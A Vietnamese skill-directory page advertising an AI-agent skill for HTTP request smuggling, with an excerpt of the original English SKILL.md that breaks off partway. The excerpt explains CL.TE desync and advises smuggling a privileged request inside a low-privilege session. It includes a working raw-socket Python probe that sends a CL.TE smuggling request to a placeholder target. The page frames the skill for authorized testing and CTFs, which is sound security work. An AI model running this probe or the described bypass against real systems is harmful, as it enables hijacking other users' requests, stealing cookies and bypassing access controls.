smuggling
Skill này làm gì
Skill này giải thích HTTP request smuggling, xảy ra khi proxy phía trước và máy chủ phía sau không thống nhất về nơi một yêu cầu kết thúc. Dành cho người kiểm thử bảo mật với mục tiêu được ủy quyền.
Khi nào nên dùng
- ✓Khi một trang chạy sau proxy hoặc CDN và bạn nghi ngờ hai phần phân tích yêu cầu khác nhau.
- ✓Khi nhãn thử thách chỉ đến request smuggling hoặc desync.
- ✓Khi bạn muốn có danh sách kiểm tra để xác nhận desync trước khi thử các tấn công khác.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem CDN và máy chủ của trang tôi có bất đồng trong cách đọc yêu cầu HTTP không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent gửi các yêu cầu được xây dựng cẩn thận với header độ dài và mã hóa mâu thuẫn, rồi kiểm tra dấu hiệu cho thấy yêu cầu tiếp theo trên kết nối có bị ảnh hưởng không.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
HTTP Request Smuggling (Desync)
Exploits parser disagreement between two HTTP intermediaries on the same connection (front-end CDN/proxy ↔ back-end origin). When one side ends a request at byte X and the other at byte Y, the bytes between X and Y are the "smuggled" prefix of the next victim request — letting the attacker rewrite the next user's request, steal cookies/headers, or hit auth-bypassed routes.
When This Skill Is Primary
HRS bypasses authentication and authorization at the front-end/back-end boundary — it does NOT need correct credentials. When smuggling_desync (or request_smuggling / hrs / desync) co-occurs with credential-related tags (default_credentials, jwt, weak_password), smuggling IS the primary attack vector. Credential brute-force is a fallback only after the confirm-desync gate (below) fires NEGATIVE.
Reasoning: a CTF that ships both tags is signaling "you have a low-priv account (test:test, etc.) — use it as your session anchor and bypass the role check via parser disagreement." Burning the time budget on admin:* brute-force misses the design entirely. Use the low-priv credentials as the OUTER request session; smuggle the privileged INNER request.
The same logic applies when smuggling_desync co-occurs with cve (the CVE is likely the desync primitive; e.g., CVE-2022-24766 is mitmproxy h1 smuggling — see Variant Catalog → CL.0 / pause-based desync below).
Recognition Signals
Trigger this skill when ANY of the following are present:
- Multi-proxy stack visible: two
Server:strings across responses (e.g.cloudflarethengunicorn);Via:header present; CDN/edge fingerprint (Cloudflare CF-RAY, AWS CloudFront, Akamai, Fastly). - Differential 400/501 when sending duplicate/obfuscated
Transfer-EncodingorContent-Lengthheaders (one path 200, another 400/501). - HTTP/2 frontend with HTTP/1.1 backend (
alt-svc: h2,:statuspseudo-header,HTTP/2ALPN). Downgrades are the modern smuggling surface. - Pipelining differences: connection reused across requests with inconsistent framing.
- Challenge tag includes
smuggling_desync,request_smuggling,hrs,desync, or recon's "Frontend behavior" line says "frontend forwards malformed framing". - Recon handoff notes that the same payload yields different status codes when sent to different proxy hops or with different framing.
Confirm-Desync Gate
STOP. Before iterating ANY payload, prove a real desync exists. Differential parsing alone (different status codes from different headers) is NOT a smuggle — it is a hint. The gate is a single in-file Python probe that opens one TCP connection and pipelines two requests where the second is detectable only if the first leaked bytes into the connection buffer.
timeout 60 python3 -u -c '
import socket, sys
HOST, PORT = "<TARGET>", 443 # use 80 for plain HTTP
USE_TLS = (PORT == 443)
# CL.TE smuggling probe — front-end uses Content-Length, back-end uses Transfer-Encoding.
# A real desync makes the back-end park "X" as the start of the NEXT request on this socket.
smuggle = (
"POST / HTTP/1.1\r\n"
"Host: <TARGET>\r\n"
"Content-Length: 6\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"X" # the smuggled prefix
)
victim = (
"GET / HTTP/1.1\r\n"
"Host: <TARGET>\r\n"
"\r\n"
)
s = socket.create_connection((HOST, PORT), timeout=5)
if USE_TLS:
import ssl
s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)
s.settimeout(5)
s.sendall(smuggle.encode() + victim.encode())
buf = b""
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
buf += chunk
if len(buf) > 16384:
break
except socket.timeout:
pass
finally:
s.close()
# Desync signal: victim request fails with 400/405 because "XGET" landed at backend.
# Baseline GET / on the same target returns 200 — so 400/405 here is the smoke.
sys.stdout.write(buf[:2048].decode(errors="replace"))
sys.stdout.flush()
' 2>&1 | tee smuggle_gate.txt
Pass criteria (any one):
- Second response shows
400 Bad RequestcontainingXGET/Invalid method/bad request line. - Connection closes after the first response with the second never sent (back-end ate the smuggled bytes).
- Repeating the same probe on a fresh connection still 200s — i.e. the desync is connection-scoped.
If gate FAILS (no pass criteria met before the harness's out
Câu hỏi thường gặp
CL.TE và TE.CL là gì?
Đó là tên gọi của hai cách mâu thuẫn để proxy và máy chủ đọc độ dài yêu cầu, dùng header Content-Length và Transfer-Encoding.
Có cần thông tin đăng nhập hoạt động không?
Skill nói rằng smuggling có thể vượt qua kiểm tra truy cập ở biên, và tài khoản thử nghiệm có quyền thấp có thể dùng làm phiên bên ngoài.
Skill có bao gồm công cụ không?
Có, nó gồm các script kiểm thử raw socket nhỏ, vì công cụ smuggler tiêu chuẩn không có trong sandbox.
Chi tiết
Mô tả gốc của tác giả
HTTP Request Smuggling (HRS) — front-end / back-end parser disagreement attacks that desync the proxy stack. Covers CL.TE, TE.CL, TE.TE, CL.0, HTTP/2 downgrade (h2.cl, h2.te), pipelining, and connection-state pinning. Includes a confirm-desync gate, header obfuscation catalog, and minimal raw-socket Python harnesses (no smuggler.py available in sandbox).
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14079
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.